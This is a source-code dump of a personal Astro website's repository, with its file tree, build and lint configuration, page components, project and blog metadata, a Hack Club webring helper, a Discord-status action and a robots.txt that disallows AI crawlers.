├── src ├── env.d.ts ├── assets │ ├── img │ │ ├── logo.png │ │ ├── favicon.png │ │ ├── projects │ │ │ ├── ai.png │ │ │ ├── phantom.png │ │ │ ├── pocketbrain.png │ │ │ ├── high-seas-v2.png │ │ │ ├── vortex-email.png │ │ │ ├── slack-mass-leave.png │ │ │ ├── high-seas-monitor.png │ │ │ ├── wakatime-for-figma │ │ │ │ └── small-tile.png │ │ │ └── archimedes.svg │ │ ├── rust.svg │ │ └── hc-icon.svg │ ├── fonts │ │ └── og │ │ │ ├── Inter-Regular.ttf │ │ │ └── InterDisplay-ExtraBold.ttf │ └── posts │ │ └── astro-og-with-satori │ │ └── og-example.png ├── constants.ts ├── components │ ├── ui │ │ ├── chip-circle.astro │ │ ├── chip.astro │ │ ├── formatted-date.astro │ │ └── card.astro │ ├── misc │ │ ├── project-grid.astro │ │ ├── blog-post-preview.astro │ │ ├── loops-icon.astro │ │ └── project-preview.astro │ ├── og │ │ └── image.tsx │ ├── home │ │ ├── online-status.astro │ │ └── hero.astro │ └── layout │ │ ├── webring-switcher.astro │ │ ├── footer.astro │ │ └── header.astro ├── content │ ├── blog │ │ ├── loops-campaign-api.md │ │ ├── satori-with-tailwind-config.md │ │ ├── activestorage-file-id.md │ │ ├── slack.md │ │ ├── ai-browsers.md │ │ ├── spaces-vuln.md │ │ └── astro-og-with-satori.md │ └── projects │ │ ├── pocketbrain.md │ │ ├── phantom.md │ │ ├── high-seas-monitor.md │ │ ├── vortex-email.md │ │ ├── ai.md │ │ ├── slack-mass-leave.md │ │ ├── archimedes.md │ │ ├── wakatime-for-figma.md │ │ └── high-seas-v2.md ├── pages │ ├── misc │ │ └── archimedes │ │ │ └── authorized.astro │ ├── api │ │ ├── me.ts │ │ └── webring.ts │ ├── projects.astro │ ├── posts │ │ ├── index.astro │ │ └── [id] │ │ │ ├── index.astro │ │ │ └── og.png.ts │ ├── rss.xml.ts │ ├── contact.astro │ └── index.astro ├── global.d.ts ├── actions │ └── index.ts ├── content.config.ts ├── util.ts └── layouts │ ├── blogpost.astro │ └── layout.astro ├── .vscode ├── settings.json ├── extensions.json └── launch.json ├── .env.example ├── knip.json ├── .gitignore ├── tsconfig.json ├── .gitpod.yml ├── .github └── workflows │ └── check.yml ├── README.md ├── biome.json ├── public └── robots.txt ├── package.json ├── astro.config.mjs └── tailwind.config.mjs /src/env.d.ts: -------------------------------------------------------------------------------- 1 | /// 2 | -------------------------------------------------------------------------------- /.vscode/settings.json: -------------------------------------------------------------------------------- 1 | { 2 | "typescript.tsdk": "node_modules/typescript/lib" 3 | } 4 | -------------------------------------------------------------------------------- /.env.example: -------------------------------------------------------------------------------- 1 | DISCORD_USER_ID=571393955367878656 2 | 3 | UMAMI_SCRIPT= 4 | UMAMI_WEBSITE_ID= -------------------------------------------------------------------------------- /knip.json: -------------------------------------------------------------------------------- 1 | { 2 | "ignore": ["sitemap-ext:*"], 3 | "ignoreDependencies": ["sitemap-ext"] 4 | } 5 | -------------------------------------------------------------------------------- /src/assets/img/logo.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/logo.png -------------------------------------------------------------------------------- /src/assets/img/favicon.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/favicon.png -------------------------------------------------------------------------------- /.vscode/extensions.json: -------------------------------------------------------------------------------- 1 | { 2 | "recommendations": ["astro-build.astro-vscode"], 3 | "unwantedRecommendations": [] 4 | } 5 | -------------------------------------------------------------------------------- /src/assets/img/projects/ai.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/ai.png -------------------------------------------------------------------------------- /src/assets/fonts/og/Inter-Regular.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/fonts/og/Inter-Regular.ttf -------------------------------------------------------------------------------- /src/assets/img/projects/phantom.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/phantom.png -------------------------------------------------------------------------------- /src/assets/img/projects/pocketbrain.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/pocketbrain.png -------------------------------------------------------------------------------- /src/assets/img/projects/high-seas-v2.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/high-seas-v2.png -------------------------------------------------------------------------------- /src/assets/img/projects/vortex-email.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/vortex-email.png -------------------------------------------------------------------------------- /src/assets/img/projects/slack-mass-leave.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/slack-mass-leave.png -------------------------------------------------------------------------------- /src/assets/fonts/og/InterDisplay-ExtraBold.ttf: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/fonts/og/InterDisplay-ExtraBold.ttf -------------------------------------------------------------------------------- /src/assets/img/projects/high-seas-monitor.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/high-seas-monitor.png -------------------------------------------------------------------------------- /src/assets/posts/astro-og-with-satori/og-example.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/posts/astro-og-with-satori/og-example.png -------------------------------------------------------------------------------- /src/assets/img/projects/wakatime-for-figma/small-tile.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/SkyfallWasTaken/skyfall-site/HEAD/src/assets/img/projects/wakatime-for-figma/small-tile.png -------------------------------------------------------------------------------- /src/constants.ts: -------------------------------------------------------------------------------- 1 | export const SITE_TITLE = "Mahad Kalam"; 2 | export const SITE_DESCRIPTION = 3 | "Mahad Kalam (@skyfall)'s personal website. I ramble about Rust, TypeScript, web dev, and more!"; 4 | -------------------------------------------------------------------------------- /src/components/ui/chip-circle.astro: -------------------------------------------------------------------------------- 1 | --- 2 | const { fill } = Astro.props as { fill: string }; 3 | --- 4 | 5 | 8 | -------------------------------------------------------------------------------- /src/components/ui/chip.astro: -------------------------------------------------------------------------------- 1 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /src/components/ui/formatted-date.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { formattedDate } from "../../util"; 3 | const { date } = Astro.props as { date: Date }; 4 | --- 5 | 6 | 9 | -------------------------------------------------------------------------------- /.vscode/launch.json: -------------------------------------------------------------------------------- 1 | { 2 | "version": "0.2.0", 3 | "configurations": [ 4 | { 5 | "command": "./node_modules/.bin/astro dev", 6 | "name": "Development server", 7 | "request": "launch", 8 | "type": "node-terminal" 9 | } 10 | ] 11 | } 12 | -------------------------------------------------------------------------------- /src/content/blog/loops-campaign-api.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: "Programmatically sending campaigns with Loops.so" 3 | description: "Or: how I reverse engineered Loops' internal API to send campaigns with code" 4 | pubDate: "March 11, 2025 18:00" 5 | draft: true 6 | tags: ["loops"] 7 | --- -------------------------------------------------------------------------------- /src/content/projects/pocketbrain.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Pocketbrain 3 | tagline: A fast Brainf**k interpreter, with tests and full language support 4 | url: https://github.com/SkyfallWasTaken/pocketbrain 5 | mainImage: "@assets/img/projects/pocketbrain.png" 6 | tools: ["Rust"] 7 | --- -------------------------------------------------------------------------------- /src/content/projects/phantom.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Phantom 3 | tagline: A fantasy OS for the web - includes a persisted filesystem, terminal history, Python support and more! 4 | url: https://phantom.skyfall.dev 5 | mainImage: "@assets/img/projects/phantom.png" 6 | tools: ["Vuedotjs", "Typescript"] 7 | --- -------------------------------------------------------------------------------- /src/pages/misc/archimedes/authorized.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import Layout from "@layouts/layout.astro"; 3 | --- 4 | 5 | 6 |
7 |

Authorized!

8 |

You may close this window.

9 |
10 |
-------------------------------------------------------------------------------- /src/content/projects/high-seas-monitor.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: High Seas Monitor 3 | tagline: Real-time inventory and price alerts for Hack Club's High Seas Shop 4 | mainImage: "@assets/img/projects/high-seas-monitor.png" 5 | pinned: true 6 | tools: ["Typescript", "Slack", "Playwright"] 7 | url: "https://go.skyfall.dev/monitor" 8 | --- 9 | -------------------------------------------------------------------------------- /src/content/projects/vortex-email.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Vortex Email 3 | tagline: Ad-free temporary email service with 10+ (sub)domains for maximum flexibility 4 | mainImage: "@assets/img/projects/vortex-email.png" 5 | pinned: true 6 | tools: ["Typescript", "React", "Reactrouter", "Tailwindcss", "Rust"] 7 | url: "https://vortex.skyfall.dev" 8 | --- 9 | -------------------------------------------------------------------------------- /src/components/ui/card.astro: -------------------------------------------------------------------------------- 1 | --- 2 | const { bg = "bg-surface0", border = "border-surface1" } = Astro.props as { 3 | bg: string; 4 | border: string; 5 | }; 6 | --- 7 | 8 |
12 | 13 |
14 | -------------------------------------------------------------------------------- /src/content/projects/ai.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Hack Club AI 3 | tagline: OpenRouter/OpenAI Moderations proxy, with logging, coding agent blocking, built-in dashboard, and more. 4 | mainImage: "@assets/img/projects/ai.png" 5 | pinned: false 6 | tools: ["Typescript", "Bun", "Drizzle", "Docker", "Postgresql", "Tailwindcss"] 7 | url: "https://github.com/hackclub/ai" 8 | --- 9 | -------------------------------------------------------------------------------- /src/content/projects/slack-mass-leave.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Slack Mass Leave 3 | tagline: A tool for mass leaving Slack channels, featuring last read sorting, multi-token support, and channel search. 4 | mainImage: "@assets/img/projects/slack-mass-leave.png" 5 | pinned: false 6 | tools: ["Typescript", "React"] 7 | url: "https://github.com/SkyfallWasTaken/slack-mass-leave" 8 | --- 9 | -------------------------------------------------------------------------------- /src/content/projects/archimedes.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: Archimedes 3 | tagline: A helpful newspaper bot for Hack Club - handles story writing, editor approvals, and auto-generation of both Slack messages and newsletter emails 4 | mainImage: "@assets/img/projects/archimedes.svg" 5 | pinned: true 6 | tools: ["Slack", "Airtable", "Typescript", "Loops"] 7 | url: "https://go.skyfall.dev/archimedes" 8 | --- 9 | -------------------------------------------------------------------------------- /src/pages/api/me.ts: -------------------------------------------------------------------------------- 1 | export async function GET() { 2 | return new Response( 3 | JSON.stringify({ 4 | city: "London", 5 | state: "N/A", 6 | country: "GB", 7 | slack_id: "U059VC0UDEU", 8 | extra: "check me out at https://skyfall.dev!", 9 | }), 10 | { 11 | headers: { 12 | "Content-Type": "application/json", 13 | }, 14 | }, 15 | ); 16 | } 17 | -------------------------------------------------------------------------------- /.gitignore: -------------------------------------------------------------------------------- 1 | # build output 2 | dist/ 3 | 4 | # generated types 5 | .astro/ 6 | 7 | # dependencies 8 | node_modules/ 9 | 10 | # logs 11 | npm-debug.log* 12 | yarn-debug.log* 13 | yarn-error.log* 14 | pnpm-debug.log* 15 | 16 | # environment variables 17 | .env 18 | .env.local 19 | .env.production 20 | 21 | # macOS-specific files 22 | .DS_Store 23 | 24 | # jetbrains setting folder 25 | .idea/ 26 | .vercel 27 | -------------------------------------------------------------------------------- /tsconfig.json: -------------------------------------------------------------------------------- 1 | { 2 | "extends": "astro/tsconfigs/strict", 3 | "exclude": ["node_modules", "dist"], 4 | "compilerOptions": { 5 | "jsx": "react-jsx", 6 | "jsxImportSource": "preact", 7 | "baseUrl": ".", 8 | "paths": { 9 | "@components/*": ["src/components/*"], 10 | "@layouts/*": ["src/layouts/*"], 11 | "@assets/*": ["src/assets/*"], 12 | "@/*": ["src/*"] 13 | } 14 | } 15 | } 16 | -------------------------------------------------------------------------------- /src/pages/api/webring.ts: -------------------------------------------------------------------------------- 1 | import { getWebring } from "@/util"; 2 | import type { APIContext } from "astro"; 3 | 4 | export async function GET(context: APIContext) { 5 | const { url } = context; 6 | const webring = await getWebring(url); 7 | return new Response(JSON.stringify(webring), { 8 | headers: { 9 | "Content-Type": "application/json", 10 | }, 11 | }); 12 | } 13 | 14 | export const prerender = false; 15 | -------------------------------------------------------------------------------- /src/content/projects/wakatime-for-figma.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: WakaTime for Figma 3 | tagline: Browser extension that brings WakaTime's time-tracking capabilities to Figma 4 | smallTileImage: "@assets/img/projects/wakatime-for-figma/small-tile.png" 5 | mainImage: "@assets/img/projects/wakatime-for-figma/small-tile.png" 6 | pinned: true 7 | tools: ["Typescript", "Svelte", "Tailwindcss", "Wakatime"] 8 | url: "https://go.skyfall.dev/waka" 9 | --- 10 | -------------------------------------------------------------------------------- /src/content/projects/high-seas-v2.md: -------------------------------------------------------------------------------- 1 | --- 2 | title: High Seas v2 3 | tagline: A faster, more optimised version of the High Seas website. Scaled to 600+ users across 2 days. Also includes High Seas Wrapped, a Spotify Wrapped clone for High Seas (used over 500 times) 4 | url: https://highseas.skyfall.dev 5 | mainImage: "@assets/img/projects/high-seas-v2.png" 6 | tools: ["Svelte", "Slack", "Airtable", "Typescript", "Tailwindcss", "Drizzle", "Turso"] 7 | --- 8 | -------------------------------------------------------------------------------- /.gitpod.yml: -------------------------------------------------------------------------------- 1 | # This configuration file was automatically generated by Gitpod. 2 | # Please adjust to your needs (see https://www.gitpod.io/docs/introduction/learn-gitpod/gitpod-yaml) 3 | # and commit this file to your remote git repository to share the goodness with others. 4 | 5 | # Learn more from ready-to-use templates: https://www.gitpod.io/docs/introduction/getting-started/quickstart 6 | 7 | tasks: 8 | - init: npm install && npm run build 9 | command: npm run start 10 | -------------------------------------------------------------------------------- /.github/workflows/check.yml: -------------------------------------------------------------------------------- 1 | name: Run checks 2 | 3 | on: 4 | push: 5 | branches: 6 | - main 7 | pull_request: 8 | branches: 9 | - main 10 | 11 | jobs: 12 | check: 13 | runs-on: ubuntu-latest 14 | 15 | steps: 16 | - name: Checkout repository 17 | uses: actions/checkout@v2 18 | 19 | - uses: oven-sh/setup-bun@v2 20 | with: 21 | bun-version: latest 22 | 23 | - name: Install dependencies 24 | run: bun install 25 | 26 | - name: Run checks 27 | run: bun check 28 | -------------------------------------------------------------------------------- /src/components/misc/project-grid.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import type { CollectionEntry } from "astro:content"; 3 | import ProjectPreview from "./project-preview.astro"; 4 | 5 | interface Props { 6 | projects: CollectionEntry<"projects">[]; 7 | maxThreeOnMobile?: boolean; 8 | } 9 | const { projects, maxThreeOnMobile = false } = Astro.props; 10 | --- 11 | 12 | 17 | -------------------------------------------------------------------------------- /src/pages/projects.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { getCollection } from "astro:content"; 3 | import ProjectGrid from "@components/misc/project-grid.astro"; 4 | import Layout from "@layouts/layout.astro"; 5 | 6 | const projects = await getCollection("projects"); 7 | --- 8 | 9 | 10 |
11 |

Projects

12 |

Here are some of the projects I've worked on! This isn't an exhaustive list; these are the projects I'm actually willing to show off.

13 |
14 | 15 |
16 | -------------------------------------------------------------------------------- /src/pages/posts/index.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { getCollection } from "astro:content"; 3 | 4 | import BlogPostPreview from "@components/misc/blog-post-preview.astro"; 5 | import Layout from "@layouts/layout.astro"; 6 | 7 | const blogCollection = await getCollection("blog"); 8 | const posts = blogCollection 9 | .filter((post) => !post.data.draft) 10 | .sort((a, b) => b.data.pubDate.valueOf() - a.data.pubDate.valueOf()); 11 | --- 12 | 13 | 14 |
15 |

Blog

16 |
17 |
18 |
    19 | {posts.map((post) => )} 20 |
21 |
22 |
23 | -------------------------------------------------------------------------------- /src/global.d.ts: -------------------------------------------------------------------------------- 1 | export declare global { 2 | namespace preact { 3 | namespace JSX { 4 | interface IntrinsicAttributes { 5 | as?: string | Element; 6 | } 7 | // The css prop 8 | interface HTMLAttributes 9 | extends ClassAttributes, 10 | DOMAttributes, 11 | AriaAttributes { 12 | css?: CSSProp; 13 | tw?: string; 14 | } 15 | // The inline svg css prop 16 | interface SVGAttributes 17 | extends HTMLAttributes { 18 | css?: CSSProps; 19 | tw?: string; 20 | } 21 | } 22 | } 23 | } 24 | -------------------------------------------------------------------------------- /src/pages/rss.xml.ts: -------------------------------------------------------------------------------- 1 | import rss from "@astrojs/rss"; 2 | import type { APIContext } from "astro"; 3 | 4 | import { getCollection } from "astro:content"; 5 | import { SITE_DESCRIPTION, SITE_TITLE } from "../constants"; 6 | 7 | export async function GET(context: APIContext) { 8 | const blogCollection = await getCollection("blog"); 9 | const posts = blogCollection 10 | .filter((post) => !post.data.draft) 11 | .sort((a, b) => b.data.pubDate.valueOf() - a.data.pubDate.valueOf()); 12 | 13 | return rss({ 14 | title: SITE_TITLE, 15 | description: SITE_DESCRIPTION, 16 | site: context.site as URL, 17 | items: posts.map((post) => ({ 18 | ...post.data, 19 | link: `/posts/${post.id}`, 20 | })), 21 | customData: "en-us", 22 | }); 23 | } 24 | -------------------------------------------------------------------------------- /src/actions/index.ts: -------------------------------------------------------------------------------- 1 | import { ActionError, defineAction } from "astro:actions"; 2 | import { DISCORD_USER_ID } from "astro:env/client"; 3 | import { fetchUserData as fetchLanyardUserData } from "lanyard-wrapper"; 4 | 5 | export const server = { 6 | discord: { 7 | profile: defineAction({ 8 | // important to be "json" in this case because it's not being called from a form submit. 9 | accept: "json", 10 | handler: async (_) => { 11 | try { 12 | const data = await fetchLanyardUserData(DISCORD_USER_ID); 13 | return data; 14 | } catch { 15 | throw new ActionError({ 16 | code: "INTERNAL_SERVER_ERROR", 17 | message: "Error fetching data from Lanyard", 18 | }); 19 | } 20 | }, 21 | }), 22 | }, 23 | }; 24 | -------------------------------------------------------------------------------- /src/components/og/image.tsx: -------------------------------------------------------------------------------- 1 | import type { CollectionEntry } from "astro:content"; 2 | import { formattedDate } from "../../util"; 3 | 4 | export default function (props: CollectionEntry<"blog">) { 5 | return ( 6 |
7 |
8 |
9 |
{props.data.title}
10 |
11 | {props.data.description} 12 |
13 |
14 |

15 | {formattedDate(new Date(props.data.pubDate))} 16 |

17 |
18 |
19 | ); 20 | } 21 | -------------------------------------------------------------------------------- /src/components/misc/blog-post-preview.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import type { CollectionEntry } from "astro:content"; 3 | 4 | import Card from "../ui/card.astro"; 5 | 6 | const { post } = Astro.props as { post: CollectionEntry<"blog"> }; 7 | --- 8 | 9 |
  • 10 | 11 | 12 |
    13 | 14 | { 15 | post.data.pubDate.toLocaleDateString("en-US", { 16 | year: "numeric", 17 | month: "long", 18 | day: "numeric", 19 | }) 20 | } 21 | 22 |

    23 | {post.data.title} 24 |

    25 |

    26 | {post.data.description} 27 |

    28 |
    29 |
    30 |
    31 |
  • 32 | -------------------------------------------------------------------------------- /src/components/home/online-status.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { actions } from "astro:actions"; 3 | import ChipCircle from "../ui/chip-circle.astro"; 4 | import Chip from "../ui/chip.astro"; 5 | 6 | const STATUS_COLOURS = { 7 | online: "fill-green", 8 | idle: "fill-yellow-200", 9 | dnd: "fill-green", // I'm basically always on DND anyway 10 | offline: "fill-surface1", 11 | }; 12 | const STATUS_TEXT = { 13 | online: "Online", 14 | idle: "Idle", 15 | dnd: "Online", // Again, I'm basically always on DND anyway 16 | offline: "Offline", 17 | }; 18 | 19 | const { data } = await Astro.callAction(actions.discord.profile, null); 20 | const status = data?.discord_status; 21 | --- 22 | 23 | { 24 | status && ( 25 | 26 | 27 | {STATUS_TEXT[status]} 28 | 29 | ) 30 | } 31 | -------------------------------------------------------------------------------- /src/pages/posts/[id]/index.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { type CollectionEntry, getCollection, render } from "astro:content"; 3 | import sitemap from "sitemap-ext:config"; 4 | 5 | import BlogPost from "@layouts/blogpost.astro"; 6 | 7 | export async function getStaticPaths() { 8 | const posts = await getCollection("blog"); 9 | return posts.map((post) => ({ 10 | params: { id: post.id }, 11 | props: post, 12 | })); 13 | } 14 | 15 | sitemap(async ({ addToSitemap }) => { 16 | const blogPosts = await getCollection("blog"); 17 | 18 | addToSitemap( 19 | blogPosts 20 | .filter((post) => !post.data.draft) 21 | .map((post) => ({ 22 | id: post.id, 23 | })), 24 | ); 25 | }); 26 | 27 | type Props = CollectionEntry<"blog">; 28 | 29 | const post = Astro.props; 30 | const { Content } = await render(post); 31 | --- 32 | 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /src/content.config.ts: -------------------------------------------------------------------------------- 1 | import { defineCollection, z } from "astro:content"; 2 | import { glob } from "astro/loaders"; 3 | 4 | const blogCollection = defineCollection({ 5 | loader: glob({ pattern: "**/[^_]*.{md,mdx}", base: "./src/content/blog" }), 6 | schema: ({ image }) => 7 | z.object({ 8 | title: z.string(), 9 | description: z.string(), 10 | pubDate: z.coerce.date(), 11 | tags: z.array(z.string()), 12 | image: image().optional(), 13 | draft: z.boolean().default(false), 14 | }), 15 | }); 16 | const projectsCollection = defineCollection({ 17 | loader: glob({ 18 | pattern: "**/[^_]*.{md,mdx}", 19 | base: "./src/content/projects", 20 | }), 21 | schema: ({ image }) => 22 | z.object({ 23 | title: z.string(), 24 | tagline: z.string(), 25 | url: z.string().url(), 26 | mainImage: image(), 27 | smallTileImage: image().optional(), 28 | pinned: z.boolean().default(false), 29 | tools: z.array(z.string()), 30 | }), 31 | }); 32 | 33 | export const collections = { 34 | blog: blogCollection, 35 | projects: projectsCollection, 36 | }; 37 | -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | # skyfall.dev 2 | 3 | ![Screenshot of the site](https://hc-cdn.hel1.your-objectstorage.com/s/v3/e9af1aa28d0d20d3056c281515db1843f43610af_image.png) 4 | 5 | ## Features 6 | 7 | ### OpenGraph image generation 8 | 9 | OG images are automatically generated for blog posts! 10 | 11 | ![image](https://skyfall.dev/posts/astro-og-with-satori/og.png) 12 | 13 | ### Discord status & local time 14 | 15 | The website fetches my Discord online status and the time in the UK, and shows them on the homepage. 16 | 17 | ![image](https://cdn.hackclubber.dev/slackcdn/4047566bbcafbaa788b1adbbaf8d33a6.png) 18 | 19 | ### Blogposts 20 | 21 | My site has a blogpost feature, powered by Astro Content Collections. 22 | 23 | ![image](https://hc-cdn.hel1.your-objectstorage.com/s/v3/e53ec99741f2fd09980a9de55912efc3027aaea9_image.png) 24 | 25 | ## Simple Icons fork 26 | 27 | My site uses a fork of [Simple Icons](https://simpleicons.org) for icons (`@skyfall-powered/simple-icons-astro`), forked to decrease build times. 28 | 29 | ## Development 30 | 31 | ```bash 32 | echo "DISCORD_USER_ID=DISCORD_USER_ID_GOES_HERE" > .env 33 | bun install 34 | bun dev 35 | ``` 36 | -------------------------------------------------------------------------------- /biome.json: -------------------------------------------------------------------------------- 1 | { 2 | "$schema": "https://biomejs.dev/schemas/1.9.4/schema.json", 3 | "vcs": { "enabled": true, "clientKind": "git" }, 4 | "files": { 5 | "ignoreUnknown": false 6 | }, 7 | "formatter": { 8 | "enabled": true, 9 | "useEditorconfig": true, 10 | "formatWithErrors": false, 11 | "indentStyle": "space", 12 | "indentWidth": 2, 13 | "lineEnding": "lf", 14 | "lineWidth": 80, 15 | "attributePosition": "auto", 16 | "bracketSpacing": true, 17 | "ignore": ["**/public", "node_modules/**", ".astro/**", "dist/**"] 18 | }, 19 | "organizeImports": { "enabled": true }, 20 | "linter": { 21 | "enabled": true, 22 | "rules": { 23 | "recommended": true 24 | } 25 | }, 26 | "javascript": { 27 | "formatter": { 28 | "jsxQuoteStyle": "double", 29 | "quoteProperties": "asNeeded", 30 | "trailingCommas": "all", 31 | "semicolons": "always", 32 | "arrowParentheses": "always", 33 | "bracketSameLine": false, 34 | "quoteStyle": "double", 35 | "attributePosition": "auto", 36 | "bracketSpacing": true 37 | } 38 | }, 39 | "overrides": [{ "include": ["*.astro"] }] 40 | } 41 | -------------------------------------------------------------------------------- /src/components/layout/webring-switcher.astro: -------------------------------------------------------------------------------- 1 | --- 2 | import { Image } from "astro:assets"; 3 | import { getWebring } from "@/util"; 4 | import HcIcon from "@assets/img/hc-icon.svg"; 5 | 6 | const { previous: initialPrevious, next: initialNext } = await getWebring( 7 | Astro.url, 8 | ); 9 | --- 10 | 11 |
    12 | 13 | 14 | Hack Club icon 15 | 16 | 17 |
    18 | 19 | -------------------------------------------------------------------------------- /src/util.ts: -------------------------------------------------------------------------------- 1 | import { format } from "date-fns"; 2 | 3 | export function formattedDate(date: Date) { 4 | function getOrdinal(num: number) { 5 | const suffixes = ["th", "st", "nd", "rd"]; 6 | const val = num % 100; 7 | return num + (suffixes[(val - 20) % 10] || suffixes[val] || suffixes[0]); 8 | } 9 | 10 | const formattedDate = `${ 11 | format(date, "MMMM ") + getOrdinal(date.getDate()) 12 | } ${format(date, "yyyy")}`; 13 | 14 | return formattedDate; 15 | } 16 | 17 | export function getTimeNow() { 18 | return new Date().toLocaleTimeString("en-GB", { 19 | timeZone: "Europe/London", 20 | hour12: true, 21 | hour: "numeric", 22 | minute: "numeric", 23 | }); 24 | } 25 | 26 | interface Member { 27 | name: string; 28 | url: string; 29 | } 30 | 31 | export async function getWebring( 32 | url: URL, 33 | webringUrl: URL = new URL("https://webring.hackclub.com/members.json"), 34 | ) { 35 | const response = await fetch(webringUrl); 36 | const members = (await response.json()) as Member[]; 37 | 38 | const siteIndex = members.findIndex( 39 | (member) => new URL(member.url).hostname === url.hostname, 40 | ); 41 | const previousIndex = (siteIndex - 1 + members.length) % members.length; 42 | const nextIndex = (siteIndex + 1) % members.length; 43 | const previous = members[previousIndex]; 44 | const next = members[nextIndex]; 45 | 46 | return { previous, next }; 47 | } 48 | -------------------------------------------------------------------------------- /public/robots.txt: -------------------------------------------------------------------------------- 1 | # LLMs are cool! However, this is a small site and LLMs can spam requests and reduce traffic :/ 2 | User-agent: AI2Bot 3 | User-agent: Ai2Bot-Dolma 4 | User-agent: Amazonbot 5 | User-agent: anthropic-ai 6 | User-agent: Applebot 7 | User-agent: Applebot-Extended 8 | User-agent: Bytespider 9 | User-agent: CCBot 10 | User-agent: ChatGPT-User 11 | User-agent: Claude-Web 12 | User-agent: ClaudeBot 13 | User-agent: cohere-ai 14 | User-agent: cohere-training-data-crawler 15 | User-agent: Diffbot 16 | User-agent: DuckAssistBot 17 | User-agent: FacebookBot 18 | User-agent: FriendlyCrawler 19 | User-agent: Google-Extended 20 | User-agent: GoogleOther 21 | User-agent: GoogleOther-Image 22 | User-agent: GoogleOther-Video 23 | User-agent: GPTBot 24 | User-agent: iaskspider/2.0 25 | User-agent: ICC-Crawler 26 | User-agent: ImagesiftBot 27 | User-agent: img2dataset 28 | User-agent: ISSCyberRiskCrawler 29 | User-agent: Kangaroo Bot 30 | User-agent: Meta-ExternalAgent 31 | User-agent: Meta-ExternalFetcher 32 | User-agent: OAI-SearchBot 33 | User-agent: omgili 34 | User-agent: omgilibot 35 | User-agent: PanguBot 36 | User-agent: PerplexityBot 37 | User-agent: PetalBot 38 | User-agent: Scrapy 39 | User-agent: SemrushBot 40 | User-agent: Sidetrade indexer bot 41 | User-agent: Timpibot 42 | User-agent: VelenPublicWebCrawler 43 | User-agent: Webzio-Extended 44 | User-agent: YouBot 45 | Disallow: / 46 | 47 | User-Agent: * 48 | Allow: / 49 | 50 | Sitemap: https://skyfall.dev/sitemap-index.xml -------------------------------------------------------------------------------- /package.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "skyfall-site", 3 | "type": "module", 4 | "version": "1.0.0", 5 | "scripts": { 6 | "dev": "astro dev", 7 | "start": "astro dev", 8 | "build": "astro check && astro build", 9 | "build:ci": "astro build", 10 | "preview": "astro preview", 11 | "astro": "astro", 12 | "knip": "knip-bun", 13 | "format": "biome format --write", 14 | "check": "biome check && bun knip && astro check" 15 | }, 16 | "dependencies": { 17 | "@astrojs/check": "0.9.6", 18 | "@astrojs/mdx": "4.3.12", 19 | "@astrojs/rss": "4.0.14", 20 | "@astrojs/tailwind": "6.0.2", 21 | "@astrojs/vercel": "9.0.2", 22 | "@fontsource-variable/inter": "^5.2.8", 23 | "@fontsource/fira-code": "^5.2.7", 24 | "@inox-tools/sitemap-ext": "^0.3.6", 25 | "@skyfall-powered/simple-icons-astro": "^12.4.2", 26 | "astro": "5.16.4", 27 | "astro-expressive-code": "^0.40.2", 28 | "astro-webmanifest": "^1.0.0", 29 | "date-fns": "^4.1.0", 30 | "lanyard-wrapper": "2.0.1", 31 | "lucide-astro": "^0.470.0", 32 | "preact": "^10.28.0", 33 | "remark-github-blockquote-alert": "^1.3.1", 34 | "satori": "^0.12.2", 35 | "sharp": "^0.34.5", 36 | "tailwindcss": "^3.4.18", 37 | "tw-to-css": "^0.0.12" 38 | }, 39 | "devDependencies": { 40 | "@biomejs/biome": "^1.9.4", 41 | "@catppuccin/tailwindcss": "^0.1.6", 42 | "@tailwindcss/typography": "^0.5.19", 43 | "@types/node": "^22.19.1", 44 | "knip": "^5.72.0", 45 | "typescript": "^5.9.3" 46 | }, 47 | "trustedDependencies": [ 48 | "@sentry/cli", 49 | "esbuild", 50 | "sharp" 51 | ] 52 | } -------------------------------------------------------------------------------- /src/components/misc/loops-icon.astro: -------------------------------------------------------------------------------- 1 | -------------------------------------------------------------------------------- /src/pages/contact.astro: -------------------------------------------------------------------------------- 1 | --- 2 | 